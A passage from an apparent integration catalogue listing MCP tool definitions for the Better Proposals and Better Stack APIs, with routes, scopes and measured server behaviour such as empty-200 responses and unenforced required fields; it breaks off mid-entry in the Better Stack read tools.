the recipient has SIGNED via GET /proposal/signed. Same record shape and same `page`, `per_page` and `type` narrowing as `betterproposals_get_proposal`; this is the state filter rather than a different resource. GET /api/v1/betterproposals/proposal/signed. Scopes: api. betterproposals_get_quote (read) — List the account's quotes via GET /quote, with `page` and `per_page`. A quote is the priced half of a proposal: each row carries the company it belongs to, its one-off, monthly, quarterly and annual amounts, its VAT and total, and its accepted, archived and dead flags. Creating a proposal creates its quote alongside it. GET /api/v1/betterproposals/quote. Scopes: api. betterproposals_get_quote_quote_id (read) — Fetch one quote by id via GET /quote/{QUOTE_ID}. An id that matches nothing answers HTTP 200 with `data` as an empty ARRAY rather than 404 (measured 2026-09-19 on 0 and on 999999999), so check the shape of `data` and not the status. GET /api/v1/betterproposals/quote/{QUOTE_ID}. Scopes: api. betterproposals_get_settings (read) — Read the account's settings via GET /settings. Returns the default currency id, whether tax is on with its label and amount, the account time zone and the customer-journey defaults. Takes no parameters. Measured 2026-09-19: the response carries no part of the API token. GET /api/v1/betterproposals/settings. Scopes: api. betterproposals_get_settings_brand (read) — Read the account's DEFAULT brand via GET /settings/brand. A brand carries the company name, logo, colours, currency, tax defaults and the badge setting that new proposals inherit when their own fields are left empty. Takes no parameters, and answers the default brand rather than a list. GET /api/v1/betterproposals/settings/brand. Scopes: api. betterproposals_get_settings_merge_tag (read) — List the account's custom merge tags via GET /settings/merge_tag, with `page` and `per_page`. A merge tag is a named placeholder a template substitutes at render time, and only tags listed here may be passed as `MergeTags` on `betterproposals_post_proposal_create` -- measured 2026-09-19, an undefined tag answers HTTP 500 {"status":"error","message":"Invalid MergeTag: "}. Call this first when a create is going to carry merge tags. GET /api/v1/betterproposals/settings/merge_tag. Scopes: api. betterproposals_get_template (read) — List the account's proposal templates via GET /template, with `page` and `per_page`. A template id is what `Template` on `betterproposals_post_proposal_create` copies from. Templates are authored in the Better Proposals web app: the API publishes no route that creates one (measured 2026-09-19, POST /template/create answers 405 "Invalid method"). GET /api/v1/betterproposals/template. Scopes: api. betterproposals_get_template_template_id (read) — Fetch one template by id via GET /template/{TEMPLATE_ID}. An id that matches nothing answers HTTP 200 with `data` as an empty ARRAY rather than 404 (measured 2026-09-19 on 0, 1 and 999999999), so check the shape of `data` and not the status -- and note that an account with no templates cannot tell those two cases apart, because every id answers the same empty 200. GET /api/v1/betterproposals/template/{TEMPLATE_ID}. Scopes: api. betterproposals_post_company_create (write) — Create a company via POST /company/create. The reference marks `CompanyName` required and the server does NOT enforce it: measured 2026-09-19, an empty body answers HTTP 200 and creates a company row with `CompanyName: null`, which is a real record that then appears in every picker. It is required HERE, at the tool boundary, because it is the only thing a company has. Note also that `Company` on `betterproposals_post_proposal_create` creates a company from a name on its own, so this route is for creating one ahead of the proposal that will use it. POST /api/v1/betterproposals/company/create. Scopes: api. betterproposals_post_doctype_create (write) — Create a document type via POST /doctype/create. `TypeName` is required and enforced -- measured 2026-09-19, omitting it answers HTTP 400 {"status":"error","message":"TypeName is required."} -- and `TypeColour` defaults to #01A3EF. The new type's id is usable immediately as `DocumentType` on `betterproposals_post_proposal_create`. THE ONE OPERATION ON THIS API THAT ANSWERS 3xx: a `TypeName` the account already holds answers HTTP 303 See Other, with NO Location header and a JSON body {"status":"error","message":"Document type existing. ID: "} -- a status code used as a duplicate error, not a redirect. Use the id it names rather than retrying. Document types are the only resource here that dedupes: companies with the same name are created as separate records (measured the same day). POST /api/v1/betterproposals/doctype/create. Scopes: api. betterproposals_post_proposal_cover_create (write) — Create a proposal cover page via POST /proposal/cover/create. A cover is the title card a proposal opens with -- headline, subheader, background and button styling -- and its id is what `Cover` on `betterproposals_post_proposal_create` takes. Every field is optional and each has a vendor default; `BrandID` left empty uses the account's default brand. POST /api/v1/betterproposals/proposal/cover/create. Scopes: api. betterproposals_post_proposal_create (write) — Create a proposal via POST /proposal/create. `Company` is the only required field and takes EITHER an existing company id OR a name, which creates the company; `DocumentType` and `Cover` behave the same way, and `Template` copies an existing template. The response carries the new proposal's id, its ProposalView URL and a preview link. Everything left empty falls back to the default brand's settings. Measured 2026-09-19: omitting `Company` answers HTTP 500 {"status":"error","message":"Please provide company"} -- this provider spells some VALIDATION failures 500, so read the message rather than the status. `MergeTags` accepts only tags the account has already defined (see `betterproposals_get_settings_merge_tag`); an undefined one answers 500 "Invalid MergeTag: ". POST /api/v1/betterproposals/proposal/create. Scopes: api. betterproposals_post_quote_create (write) — Create a quote via POST /quote/create. `CompanyID` names the company it belongs to and `TemplateID`, when supplied, copies that template's amounts onto it. The reference marks `CompanyID` required and the server does NOT enforce it: measured 2026-09-19, an empty body answers HTTP 200 and creates a quote with `CompanyID: null`, and an id belonging to no company is accepted as given rather than refused. Supply a real id from `betterproposals_get_company` -- the provider will not catch a wrong one for you. POST /api/v1/betterproposals/quote/create. Scopes: api. ================================================================================ ## Better Stack URL: https://www.agenticfabriq.com/integrations/betterstack Section: Integrated Tools Better Stack — 240 MCP tools Provider key: betterstack. Scopes: read, write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. betterstack_delete_aws_cloudwatch_integrations_by_aws_cloudwatch_integration_id (write, destructive) — Remove aws cloudwatch integration. DELETE uptime/v2 /aws-cloudwatch-integrations/{aws_cloudwatch_integration_id} DELETE /api/v1/betterstack/uptime/v2/aws-cloudwatch-integrations/{aws_cloudwatch_integration_id}. Scopes: write. betterstack_delete_azure_integrations_by_azure_integration_id (write, destructive) — Remove azure integration. DELETE uptime/v2 /azure-integrations/{azure_integration_id} DELETE /api/v1/betterstack/uptime/v2/azure-integrations/{azure_integration_id}. Scopes: write. betterstack_delete_catalog_relations_by_relation_id (write, destructive) — Remove catalog relation. DELETE uptime/v2 /catalog/relations/{relation_id} DELETE /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}. Scopes: write. betterstack_delete_catalog_relations_by_relation_id_attributes_by_attribute_id (write, destructive) — Remove catalog attribute. DELETE uptime/v2 /catalog/relations/{relation_id}/attributes/{attribute_id} DELETE /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/attributes/{attribute_id}. Scopes: write. betterstack_delete_catalog_relations_by_relation_id_records_batch (write, destructive) — Batch remove catalog records. DELETE uptime/v2 /catalog/relations/{relation_id}/records/batch DELETE /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/records/batch. Scopes: write. betterstack_delete_catalog_relations_by_relation_id_records_by_record_id (write, destructive) — Remove catalog record. DELETE uptime/v2 /catalog/relations/{relation_id}/records/{record_id} DELETE /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/records/{record_id}. Scopes: write. betterstack_delete_collectors_by_collector_id_targets_by_target_id (write, destructive) — Remove a collector metric target. DELETE telemetry/v1 /collectors/{collector_id}/targets/{target_id} DELETE /api/v1/betterstack/telemetry/v1/collectors/{collector_id}/targets/{target_id}. Scopes: write. betterstack_delete_collectors_by_id (write, destructive) — Remove a collector. DELETE telemetry/v1 /collectors/{id} DELETE /api/v1/betterstack/telemetry/v1/collectors/{id}. Scopes: write. betterstack_delete_datadog_integrations_by_datadog_integration_id (write, destructive) — Remove datadog integration. DELETE uptime/v2 /datadog-integrations/{datadog_integration_id} DELETE /api/v1/betterstack/uptime/v2/datadog-integrations/{datadog_integration_id}. Scopes: write. betterstack_delete_elastic_integrations_by_elastic_integration_id (write, destructive) — Remove elastic integration. DELETE uptime/v2 /elastic-integrations/{elastic_integration_id} DELETE /api/v1/betterstack/uptime/v2/elastic-integrations/{elastic_integration_id}. Scopes: write. betterstack_delete_email_integrations_by_email_integration_id (write, destructive) — Remove email integration. DELETE uptime/v2 /email-integrations/{email_integration_id} DELETE /api/v1/betterstack/uptime/v2/email-integrations/{email_integration_id}. Scopes: write. betterstack_delete_google_monitoring_integrations_by_google_monitoring_integration_id (write, destructive) — Remove google monitoring integration. DELETE uptime/v2 /google-monitoring-integrations/{google_monitoring_integration_id} DELETE /api/v1/betterstack/uptime/v2/google-monitoring-integrations/{google_monitoring_integration_id}. Scopes: write. betterstack_delete_grafana_integrations_by_grafana_integration_id (write, destructive) — Remove grafana integration. DELETE uptime/v2 /grafana-integrations/{grafana_integration_id} DELETE /api/v1/betterstack/uptime/v2/grafana-integrations/{grafana_integration_id}. Scopes: write. betterstack_delete_heartbeat_groups_by_heartbeat_group_id (write, destructive) — Remove heartbeat group. DELETE uptime/v2 /heartbeat-groups/{heartbeat_group_id} DELETE /api/v1/betterstack/uptime/v2/heartbeat-groups/{heartbeat_group_id}. Scopes: write. betterstack_delete_heartbeats_by_heartbeat_id (write, destructive) — Remove heartbeat. DELETE uptime/v2 /heartbeats/{heartbeat_id} DELETE /api/v1/betterstack/uptime/v2/heartbeats/{heartbeat_id}. Scopes: write. betterstack_delete_incidents_by_incident_id (write, destructive) — Remove incident. DELETE uptime/v3 /incidents/{incident_id} DELETE /api/v1/betterstack/uptime/v3/incidents/{incident_id}. Scopes: write. betterstack_delete_incidents_by_incident_id_comments_by_comment_id (write, destructive) — Remove comment. DELETE uptime/v2 /incidents/{incident_id}/comments/{comment_id} DELETE /api/v1/betterstack/uptime/v2/incidents/{incident_id}/comments/{comment_id}. Scopes: write. betterstack_delete_incoming_webhooks_by_incoming_webhook_id (write, destructive) — Remove incoming webhook. DELETE uptime/v2 /incoming-webhooks/{incoming_webhook_id} DELETE /api/v1/betterstack/uptime/v2/incoming-webhooks/{incoming_webhook_id}. Scopes: write. betterstack_delete_monitor_groups_by_monitor_group_id (write, destructive) — Remove monitor group. DELETE uptime/v2 /monitor-groups/{monitor_group_id} DELETE /api/v1/betterstack/uptime/v2/monitor-groups/{monitor_group_id}. Scopes: write. betterstack_delete_monitors_by_monitor_id (write, destructive) — Remove monitor. DELETE uptime/v2 /monitors/{monitor_id} DELETE /api/v1/betterstack/uptime/v2/monitors/{monitor_id}. Scopes: write. betterstack_delete_new_relic_integrations_by_new_relic_integration_id (write, destructive) — Remove new relic integration. DELETE uptime/v2 /new-relic-integrations/{new_relic_integration_id} DELETE /api/v1/betterstack/uptime/v2/new-relic-integrations/{new_relic_integration_id}. Scopes: write. betterstack_delete_on_calls_by_schedule_id (write, destructive) — Remove on call schedule. DELETE uptime/v2 /on-calls/{schedule_id} DELETE /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}. Scopes: write. betterstack_delete_on_calls_by_schedule_id_events_by_event_id (write, destructive) — Remove on call schedule event. DELETE uptime/v2 /on-calls/{schedule_id}/events/{event_id} DELETE /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}/events/{event_id}. Scopes: write. betterstack_delete_on_calls_by_schedule_id_rotation (write, destructive) — Remove an on call schedule rotation. DELETE uptime/v2 /on-calls/{schedule_id}/rotation DELETE /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}/rotation. Scopes: write. betterstack_delete_outgoing_webhooks_by_outgoing_webhook_id (write, destructive) — Remove outgoing webhook. DELETE uptime/v2 /outgoing-webhooks/{outgoing_webhook_id} DELETE /api/v1/betterstack/uptime/v2/outgoing-webhooks/{outgoing_webhook_id}. Scopes: write. betterstack_delete_pager_duty_webhooks_by_pager_duty_webhook_id (write, destructive) — Remove pagerduty integration. DELETE uptime/v2 /pager-duty-webhooks/{pager_duty_webhook_id} DELETE /api/v1/betterstack/uptime/v2/pager-duty-webhooks/{pager_duty_webhook_id}. Scopes: write. betterstack_delete_policies_by_policy_id (write, destructive) — Remove escalation policy. DELETE uptime/v3 /policies/{policy_id} DELETE /api/v1/betterstack/uptime/v3/policies/{policy_id}. Scopes: write. betterstack_delete_policy_groups_by_policy_group_id (write, destructive) — Remove escalation policy group. DELETE uptime/v2 /policy-groups/{policy_group_id} DELETE /api/v1/betterstack/uptime/v2/policy-groups/{policy_group_id}. Scopes: write. betterstack_delete_prometheus_integrations_by_prometheus_integration_id (write, destructive) — Remove prometheus integration. DELETE uptime/v2 /prometheus-integrations/{prometheus_integration_id} DELETE /api/v1/betterstack/uptime/v2/prometheus-integrations/{prometheus_integration_id}. Scopes: write. betterstack_delete_source_groups_by_source_group_id (write, destructive) — Remove a source group. DELETE telemetry/v1 /source-groups/{source_group_id} DELETE /api/v1/betterstack/telemetry/v1/source-groups/{source_group_id}. Scopes: write. betterstack_delete_sources_by_source_id (write, destructive) — Remove a source. DELETE telemetry/v2 /sources/{source_id} DELETE /api/v1/betterstack/telemetry/v2/sources/{source_id}. Scopes: write. betterstack_delete_sources_by_source_id_metrics_by_id (write, destructive) — Remove a metric. DELETE telemetry/v2 /sources/{source_id}/metrics/{id} DELETE /api/v1/betterstack/telemetry/v2/sources/{source_id}/metrics/{id}. Scopes: write. betterstack_delete_splunk_on_calls_by_splunk_on_call_id (write, destructive) — Remove splunk integration. DELETE uptime/v2 /splunk-on-calls/{splunk_on_call_id} DELETE /api/v1/betterstack/uptime/v2/splunk-on-calls/{splunk_on_call_id}. Scopes: write. betterstack_delete_status_page_groups_by_status_page_group_id (write, destructive) — Remove status page group. DELETE uptime/v2 /status-page-groups/{status_page_group_id} DELETE /api/v1/betterstack/uptime/v2/status-page-groups/{status_page_group_id}. Scopes: write. betterstack_delete_status_pages_by_status_page_id (write, destructive) — Remove status page. DELETE uptime/v2 /status-pages/{status_page_id} DELETE /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}. Scopes: write. betterstack_delete_status_pages_by_status_page_id_resources_by_resource_id (write, destructive) — Remove status page resource. DELETE uptime/v2 /status-pages/{status_page_id}/resources/{resource_id} DELETE /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/resources/{resource_id}. Scopes: write. betterstack_delete_status_pages_by_status_page_id_sections_by_section_id (write, destructive) — Remove status page section. DELETE uptime/v2 /status-pages/{status_page_id}/sections/{section_id} DELETE /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/sections/{section_id}. Scopes: write. betterstack_delete_status_pages_by_status_page_id_status_reports_by_status_report_id (write, destructive) — Remove status page report. DELETE uptime/v2 /status-pages/{status_page_id}/status-reports/{status_report_id} DELETE /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/status-reports/{status_report_id}. Scopes: write. betterstack_delete_status_pages_by_status_page_id_status_reports_by_status_report_id_status_updates_by_status_update_id (write, destructive) — Remove status update. DELETE uptime/v2 /status-pages/{status_page_id}/status-reports/{status_report_id}/status-updates/{status_update_id} DELETE /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/status-reports/{status_report_id}/status-updates/{status_update_id}. Scopes: write. betterstack_delete_status_pages_by_status_page_id_subscribers (write, destructive) — Remove status page subscriber by email. DELETE uptime/v2 /status-pages/{status_page_id}/subscribers DELETE /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/subscribers. Scopes: write. betterstack_delete_status_pages_by_status_page_id_subscribers_by_subscriber_id (write, destructive) — Remove status page subscriber. DELETE uptime/v2 /status-pages/{status_page_id}/subscribers/{subscriber_id} DELETE /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/subscribers/{subscriber_id}. Scopes: write. betterstack_delete_urgencies_by_urgency_id (write, destructive) — Remove severity. DELETE uptime/v2 /urgencies/{urgency_id} DELETE /api/v1/betterstack/uptime/v2/urgencies/{urgency_id}. Scopes: write. betterstack_delete_urgency_groups_by_urgency_group_id (write, destructive) — Remove severity group. DELETE uptime/v2 /urgency-groups/{urgency_group_id} DELETE /api/v1/betterstack/uptime/v2/urgency-groups/{urgency_group_id}. Scopes: write. betterstack_get_alerts (read) — List all alerts. GET telemetry/v2 /alerts GET /api/v1/betterstack/telemetry/v2/alerts. Scopes: read. betterstack_get_aws_cloudwatch_integrations (read) — List aws cloudwatch integrations. GET uptime/v2 /aws-cloudwatch-integrations GET /api/v1/betterstack/uptime/v2/aws-cloudwatch-integrations. Scopes: read. betterstack_get_aws_cloudwatch_integrations_by_aws_cloudwatch_integration_id (read) — Get aws cloudwatch integration. GET uptime/v2 /aws-cloudwatch-integrations/{aws_cloudwatch_integration_id} GET /api/v1/betterstack/uptime/v2/aws-cloudwatch-integrations/{aws_cloudwatch_integration_id}. Scopes: read. betterstack_get_azure_integrations (read) — List azure integrations. GET uptime/v2 /azure-integrations GET /api/v1/betterstack/uptime/v2/azure-integrations. Scopes: read. betterstack_get_azure_integrations_by_azure_integration_id (read) — Get azure integration. GET uptime/v2 /azure-integrations/{azure_integration_id} GET /api/v1/betterstack/uptime/v2/azure-integrations/{azure_integration_id}. Scopes: read. betterstack_get_catalog_relations (read) — List catalog relations. GET uptime/v2 /catalog/relations GET /api/v1/betterstack/uptime/v2/catalog/relations. Scopes: read. betterstack_get_catalog_relations_by_relation_id (read) — Get catalog relation. GET uptime/v2 /catalog/relations/{relation_id} GET /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}. Scopes: read. betterstack_get_catalog_relations_by_relation_id_attributes (read) — List catalog attributes. GET uptime/v2 /catalog/relations/{relation_id}/attributes GET /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/attributes. Scopes: read. betterstack_get_catalog_relations_by_relation_id_attributes_by_attribute_id (read) — Get catalog attribute. GET uptime/v2 /catalog/relations/{relation_id}/attributes/{attribute_id} GET /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/attributes/{attribute_id}. Scopes: read. betterstack_get_catalog_relations_by_relation_id_records (read) — List catalog records. GET uptime/v2 /catalog/relations/{relation_id}/records GET /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/records. Scopes: read. betterstack_get_catalog_relations_by_relation_id_records_by_record_id (read) — Get a single catalog record. GET uptime/v2 /catalog/relations/{relation_id}/records/{record_id} GET /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/records/{record_id}. Scopes: read. betterstack_get_collectors (read) — List all collectors. GET telemetry/v1 /collectors GET /api/v1/betterstack/telemetry/v1/collectors. Scopes: read. betterstack_get_collectors_by_collector_id_targets (read) — List collector metrics targets. GET telemetry/v1 /collectors/{collector_id}/targets GET /api/v1/betterstack/telemetry/v1/collectors/{collector_id}/targets. Scopes: read. betterstack_get_collectors_by_collector_id_targets_by_target_id (read) — Get a single collector metrics target. GET telemetry/v1 /collectors/{collector_id}/targets/{target_id} GET /api/v1/betterstack/telemetry/v1/collectors/{collector_id}/targets/{target_id}. Scopes: read. betterstack_get_collectors_by_id (read) — Get a single collector. GET telemetry/v1 /collectors/{id} GET /api/v1/betterstack/telemetry/v1/collectors/{id}. Scopes: read. betterstack_get_collectors_by_id_databases (read) — Lists databases monitored by a collector. GET telemetry/v1 /collectors/{id}/databases GET /api/v1/betterstack/telemetry/v1/collectors/{id}/databases. Scopes: read. betterstack_get_collectors_by_id_hosts (read) — List hosts where a collector is running. GET telemetry/v1 /collectors/{id}/hosts GET /api/v1/betterstack/telemetry/v1/collectors/{id}/hosts. Scopes: read. betterstack_get_connections (read) — List all connections. GET telemetry/v1 /connections GET /api/v1/betterstack/telemetry/v1/connections. Scopes: read. betterstack_get_dashboard_groups (read) — List all dashboard groups. GET telemetry/v2 /dashboard-groups GET /api/v1/betterstack/telemetry/v2/dashboard-groups. Scopes: read. betterstack_get_dashboards (read) — List all dashboards. GET telemetry/v2 /dashboards GET /api/v1/betterstack/telemetry/v2/dashboards. Scopes: read. betterstack_get_dashboards_by_dashboard_id_charts (read) — List all charts. GET telemetry/v2 /dashboards/{dashboard_id}/charts GET /api/v1/betterstack/telemetry/v2/dashboards/{dashboard_id}/charts. Scopes: read. betterstack_get_dashboards_by_dashboard_id_charts_by_chart_id_alerts (read) — List all alerts in a dashboard. GET telemetry/v2 /dashboards/{dashboard_id}/charts/{chart_id}/alerts GET /api/v1/betterstack/telemetry/v2/dashboards/{dashboard_id}/charts/{chart_id}/alerts. Scopes: read. betterstack_get_dashboards_by_dashboard_id_charts_by_chart_id_comments (read) — List all comments on a chart. GET telemetry/v2 /dashboards/{dashboard_id}/charts/{chart_id}/comments GET /api/v1/betterstack/telemetry/v2/dashboards/{dashboard_id}/charts/{chart_id}/comments. Scopes: read. betterstack_get_dashboards_by_dashboard_id_sections (read) — List all dashboard sections. GET telemetry/v2 /dashboards/{dashboard_id}/sections GET /api/v1/betterstack/telemetry/v2/dashboards/{dashboard_id}/sections. Scopes: read. betterstack_get_datadog_integrations (read) — List datadog integrations. GET uptime/v2 /datadog-integrations GET /api/v1/betterstack/uptime/v2/datadog-integrations. Scopes: read. betterstack_get_datadog_integrations_by_datadog_integration_id (read) — Get datadog integration. GET uptime/v2 /datadog-integrations/{datadog_integration_id} GET /api/v1/betterstack/uptime/v2/datadog-integrations/{datadog_integration_id}. Scopes: read. betterstack_get_elastic_integrations (read) — List elastic integrations. GET uptime/v2 /elastic-integrations GET /api/v1/betterstack/uptime/v2/elastic-integrations. Scopes: read. betterstack_get_elastic_integrations_by_elastic_integration_id (read) — Get elastic integration. GET uptime/v2 /elastic-integrations/{elastic_integration_id} GET /api/v1/betterstack/uptime/v2/elastic-integrations/{elastic_integration_id}. Scopes: read. betterstack_get_email_integrations (read) — List email integrations. GET uptime/v2 /email-integrations GET /api/v1/betterstack/uptime/v2/email-integrations. Scopes: read. betterstack_get_email_integrations_by_email_integration_id (read) — Get email integration. GET uptime/v2 /email-integrations/{email_integration_id} GET /api/v1/betterstack/uptime/v2/email-integrations/{email_integration_id}. Scopes: read. betterstack_get_exploration_groups (read) — List all exploration groups. GET telemetry/v2 /exploration-groups GET /api/v1/betterstack/telemetry/v2/exploration-groups. Scopes: read. betterstack_get_explorations (read) — List all explorations. GET telemetry/v2 /explorations GET /api/v1/betterstack/telemetry/v2/explorations. Scopes: read. betterstack_get_explorations_by_exploration_id_alerts (read) — List all alerts in an exploration. GET telemetry/v2 /explorations/{exploration_id}/alerts GET /api/v1/betterstack/telemetry/v2/explorations/{exploration_id}/alerts. Scopes: read. betterstack_get_google_monitoring_integrations (read) — List google monitoring integrations. GET uptime/v2 /google-monitoring-integrations GET /api/v1/betterstack/uptime/v2/google-monitoring-integrations. Scopes: read. betterstack_get_google_monitoring_integrations_by_google_monitoring_integration_id (read) — Get google monitoring integration. GET uptime/v2 /google-monitoring-integrations/{google_monitoring_integration_id} GET /api/v1/betterstack/uptime/v2/google-monitoring-integrations/{google_monitoring_integration_id}. Scopes: read. betterstack_get_grafana_integrations (read) — List grafana integrations. GET uptime/v2 /grafana-integrations GET /api/v1/betterstack/uptime/v2/grafana-integrations. Scopes: read. betterstack_get_grafana_integrations_by_grafana_integration_id (read) — Get grafana integration. GET uptime/v2 /grafana-integrations/{grafana_integration_id} GET /api/v1/betterstack/uptime/v2/grafana-integrations/{grafana_integration_id}. Scopes: read. betterstack_get_heartbeat_groups (read) — List heartbeat groups. GET uptime/v2 /heartbeat-groups GET /api/v1/betterstack/uptime/v2/heartbeat-groups. Scopes: read. betterstack_get_heartbeat_groups_by_heartbeat_group_id (read) — Get heartbeat group. GET uptime/v2 /heartbeat-groups/{heartbeat_group_id} GET /api/v1/betterstack/uptime/v2/heartbeat-groups/{heartbeat_group_id}. Scopes: read. betterstack_get_heartbeats (read) — List heartbeats. GET uptime/v2 /heartbeats GET /api/v1/betterstack/uptime/v2/heartbeats. Scopes: read. betterstack_get_heartbeats_by_heartbeat_id (read) — Get a single heartbeat. GET uptime/v2 /heartbeats/{heartbeat_id} GET /api/v1/betterstack/uptime/v2/heartbeats/{heartbeat_id}. Scopes: read. betterstack_get_heartbeats_by_heartbeat_id_availability (read) — Get a heartbeat s availability summary. GET uptime/v2 /heartbeats/{heartbeat_id}/availability GET /api/v1/betterstack/uptime/v2/heartbeats/{heartbeat_id}/availability. Scopes: read. betterstack_get_incidents (read) — List incidents. GET uptime/v3 /incidents GET /api/v1/betterstack/uptime/v3/incidents. Scopes: read. betterstack_get_incidents_by_incident_id (read) — Get incident. GET uptime/v3 /incidents/{incident_id} GET /api/v1/betterstack/uptime/v3/incidents/{incident_id}. Scopes: read. betterstack_get_incidents_by_incident_id_comments (read) — List comments. GET uptime/v2 /incidents/{incident_id}/comments GET /api/v1/betterstack/uptime/v2/incidents/{incident_id}/comments. Scopes: read. betterstack_get_incidents_by_incident_id_comments_by_comment_id (read) — Get comment. GET uptime/v2 /incidents/{incident_id}/comments/{comment_id} GET /api/v1/betterstack/uptime/v2/incidents/{incident_id}/comments/{comment_id}. Scopes: read. betterstack_get_incidents_by_incident_id_timeline (read) — List incident timeline. GET uptime/v3 /incidents/{incident_id}/timeline GET /api/v1/betterstack/uptime/v3/incidents/{incident_id}/timeline. Scopes: read. betterstack_get_incoming_webhooks (read) — List incoming webhooks. GET uptime/v2 /incoming-webhooks GET /api/v1/betterstack/uptime/v2/incoming-webhooks. Scopes: read. betterstack_get_incoming_webhooks_by_incoming_webhook_id (read) — Get incoming webhook. GET uptime/v2 /incoming-webhooks/{incoming_webhook_id} GET /api/v1/betterstack/uptime/v2/incoming-webhooks/{incoming_webhook_id}. Scopes: read. betterstack_get_jira_integrations (read) — List jira integrations. GET uptime/v2 /jira-integrations GET /api/v1/betterstack/uptime/v2/jira-integrations. Scopes: read. betterstack_get_jira_integrations_by_jira_integration_id (read) — Get jira integration. GET uptime/v2 /jira-integrations/{jira_integration_id} GET /api/v1/betterstack/uptime/v2/jira-integrations/{jira_integration_id}. Scopes: read. betterstack_get_metadata (read) — List metadata. GET uptime/v3 /metadata GET /api/v1/betterstack/uptime/v3/metadata. Scopes: read. betterstack_get_monitor_groups (read) — List monitor groups. GET uptime/v2 /monitor-groups GET /api/v1/betterstack/uptime/v2/monitor-groups. Scopes: read. betterstack_get_monitor_groups_by_monitor_group_id (read) — Get monitor group. GET uptime/v2 /monitor-groups/{monitor_group_id} GET /api/v1/betterstack/uptime/v2/monitor-groups/{monitor_group_id}. Scopes: read. betterstack_get_monitor_groups_by_monitor_group_id_monitors (read) — List monitors in group. GET uptime/v2 /monitor-groups/{monitor_group_id}/monitors GET /api/v1/betterstack/uptime/v2/monitor-groups/{monitor_group_id}/monitors. Scopes: read. betterstack_get_monitors (read) — List monitors. GET uptime/v2 /monitors GET /api/v1/betterstack/uptime/v2/monitors. Scopes: read. betterstack_get_monitors_by_monitor_id (read) — Get monitor. GET uptime/v2 /monitors/{monitor_id} GET /api/v1/betterstack/uptime/v2/monitors/{monitor_id}. Scopes: read. betterstack_get_monitors_by_monitor_id_response_times (read) — Monitor response times. GET uptime/v2 /monitors/{monitor_id}/response-times GET /api/v1/betterstack/uptime/v2/monitors/{monitor_id}/response-times. Scopes: read. betterstack_get_monitors_by_monitor_id_sla (read) — Monitor availability. GET uptime/v2 /monitors/{monitor_id}/sla GET /api/v1/betterstack/uptime/v2/monitors/{monitor_id}/sla. Scopes: read. betterstack_get_new_relic_integrations (read) — List new relic integrations. GET uptime/v2 /new-relic-integrations GET /api/v1/betterstack/uptime/v2/new-relic-integrations. Scopes: read. betterstack_get_new_relic_integrations_by_new_relic_integration_id (read) — Get new relic integration. GET uptime/v2 /new-relic-integrations/{new_relic_integration_id} GET /api/v1/betterstack/uptime/v2/new-relic-integrations/{new_relic_integration_id}. Scopes: read. betterstack_get_on_calls (read) — List on call schedules. GET uptime/v2 /on-calls GET /api/v1/betterstack/uptime/v2/on-calls. Scopes: read. betterstack_get_on_calls_by_schedule_id (read) — Get on call schedule. GET uptime/v2 /on-calls/{schedule_id} GET /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}. Scopes: read. betterstack_get_on_calls_by_schedule_id_events (read) — List on call schedule events. GET uptime/v2 /on-calls/{schedule_id}/events GET /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}/events. Scopes: read. betterstack_get_on_calls_by_schedule_id_events_by_event_id (read) — Get a single on call schedule event. GET uptime/v2 /on-calls/{schedule_id}/events/{event_id} GET /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}/events/{event_id}. Scopes: read. betterstack_get_on_calls_by_schedule_id_rotation (read) — Get an on call schedule rotation. GET uptime/v2 /on-calls/{schedule_id}/rotation GET /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}/rotation. Scopes: read. betterstack_get_outgoing_webhooks (read) — List outgoing webhooks. GET uptime/v2 /outgoing-webhooks GET /api/v1/betterstack/uptime/v2/outgoing-webhooks. Scopes: read. betterstack_get_outgoing_webhooks_by_outgoing_webhook_id (read) — Get outgoing webhook. GET uptime/v2 /outgoing-webhooks/{outgoing_webhook_id} GET /api/v1/betterstack/uptime/v2/outgoing-webhooks/{outgoing_webhook_id}. Scopes: read. betterstack_get_pager_duty_webhooks (read) — List pagerduty integrations. GET uptime/v2 /pager-duty-webhooks GET /api/v1/betterstack/uptime/v2/pager-duty-webhooks. Scopes: read. betterstack_get_pager_duty_webhooks_by_pager_duty_webhook_id (read) — Get pagerduty integration. GET uptime/v2 /pager-duty-webhooks/{pager_duty_webhook_id} GET /api/v1/betterstack/uptime/v2/pager-duty-webhooks/{pager_duty_webhook_id}. Scopes: read. betterstack_get_policies (read) — List escalation policies. GET uptime/v3 /policies GET /api/v1/betterstack/uptime/v3/policies. Scopes: read. betterstack_get_policies_by_policy_id (read) — Get escalation policy. GET uptime/v3 /policies/{policy_id} GET /api/v1/betterstack/uptime/v3/policies/{policy_id}. Scopes: read. betterstack_get_policy_groups (read) — List escalation policy groups. GET 